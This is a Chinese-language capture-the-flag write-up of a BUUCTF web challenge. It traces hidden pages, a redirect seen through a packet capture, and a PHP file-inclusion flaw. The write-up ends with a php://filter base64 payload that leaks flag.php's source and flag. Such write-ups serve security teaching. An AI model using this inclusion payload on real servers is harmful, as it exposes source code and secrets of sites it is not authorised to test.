前言:题目来源BUUCTF,非常好玩。
目录:
一、题目
靶机主页为一漆黑网页:
其代码如下:
<!DOCTYPE html>
<html>
<style type="text/css" >
#master {
position:absolute;
left:44%;
bottom:0;
text-align :center;
}
p,h1 {
cursor: default;
}
</style>
<head>
<meta charset="utf-8">
<title>蒋璐源的秘密</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>
二、解析
Ctrl+A全选网页,先看看有没有藏起来的信息:
当然有,在页面源代码中,注意到此链接指向的是一文件 Archive_room.php 。现在我们访问这个名叫”档案室“的页面,看看有无线索:
<!DOCTYPE html>
<html>
<style type="text/css" >
#master {
position:absolute;
left:44%;
bottom:20;
text-align :center;
}
p,h1 {
cursor: default;
}
</style>
<head>
<meta charset="utf-8">
<title>绝密档案</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">
我把他们都放在这里了,去看看吧 <br>
</h1><br><br><br><br><br><br>
<a id="master" href="./action.php" style="background-color:red;height:50px;width:200px;color:#FFFFFF;left:44%;">
<font size=6>SECRET</font>
</a>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>
就”档案室“代码看来,红色大按钮指向了一个页面 action.php ,现在我们点击此按钮,出现下面这个画面:
此时我们就注意到一个异常情况:红色大按钮明明指向了页面 action.php ,我现在怎么被重定向到了 end.php ?到这里我们基本上确定,题目要我们绕过这个重定向,从而在 action.php 中获取这个被保护的信息。
现在我们打开Wireshark开始抓包,然后回到浏览器中重新点击一次红色大按钮,Wireshark成功抓到请求 action.php 的包和服务器的响应包:
响应包中有个值得注意的信息。服务器似乎在重定向之前发来了一段 HTTP 分块传输内容,是一段 63 字节的十六进制数据(很可能是 action.php 中的 HTML 代码),Wireshark帮我们自动拼接好了:
我们将这段十六进制数据解码,出现如下代码:
<!DOCTYPE html>
<html>
<!--
secr3t.php
-->
</html>
这就是出题人藏起来的 action.php 页面。现在我们马上访问注释中提到的这个 secr3t.php ,页面上显示了一段PHP代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
现在逐行分析这段代码的意义:
highlight_file(__FILE__);
自打印,没什么好说的;
error_reporting(0);
禁用报错,防止考生分析错误码,没啥用;
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
接受GET请求,并进行一个检测:如果请求包含”../“等”非法输入“,secr3t.php 就会输出”Oh no“。这似乎用来防止考生使用相对路径获取到目标文件。
include($file);
文件包含漏洞。大概率靠它获取flag;
代码还包含一个注释,提示我们目标文件是 flag.php 。这个注释有点让人匪夷所思,因为出题人完全没有禁止我们直接访问 flag.php ,前面的代码似乎白读了。现在我们直接访问 flag.php ,其内容如下:
这让我突然想起,直接访问 flag.php 时,浏览器自动将其渲染为网页,也就是说其中的某些信息(比如php代码)我们是看不到的。这说明目标信息在php代码中,我们还是要想办法获取到这个页面的源代码。
现在我们尝试通过前面的文件包含漏洞获取文件。
既然目标文件就在此路径下,我们先直接包含此文件:
http://靶机地址/secr3t.php?file=flag.php
前面提到,直接访问 flag.php 时,浏览器自动将其渲染为网页,也就是说其中的某些信息(比如php代码)我们是看不到的。而我们现在直接请求此文件和直接访问没有任何区别,这导致我们还是看不见秘密信息。
现在我们改动一下URL,使服务器输出经过base64加密的目标文件,而不是输出为网页。构造URL如下:
http://靶机地址/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
得到输出:
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZDAyYzE4ZWYtMDRmMy00YTc3LTkxYTUtMjUwODRjZjU5MWU1fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
解码得到真实的 flag.php 代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{d02c18ef-04f3-4a77-91a5-25084cf591e5}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
HTML代码中有一段突兀的PHP代码,这就是我们要找的信息。
代码中包含了两个变量,其中 $flag 是本题的答案,而 $secret 就是出题人的那碟醋:”蒋璐源的秘密“——内有一段leet语,意为”蒋璐源想要一个女朋友“。
2019年至今已有五年,希望蒋璐源同学梦想成真。
3u603x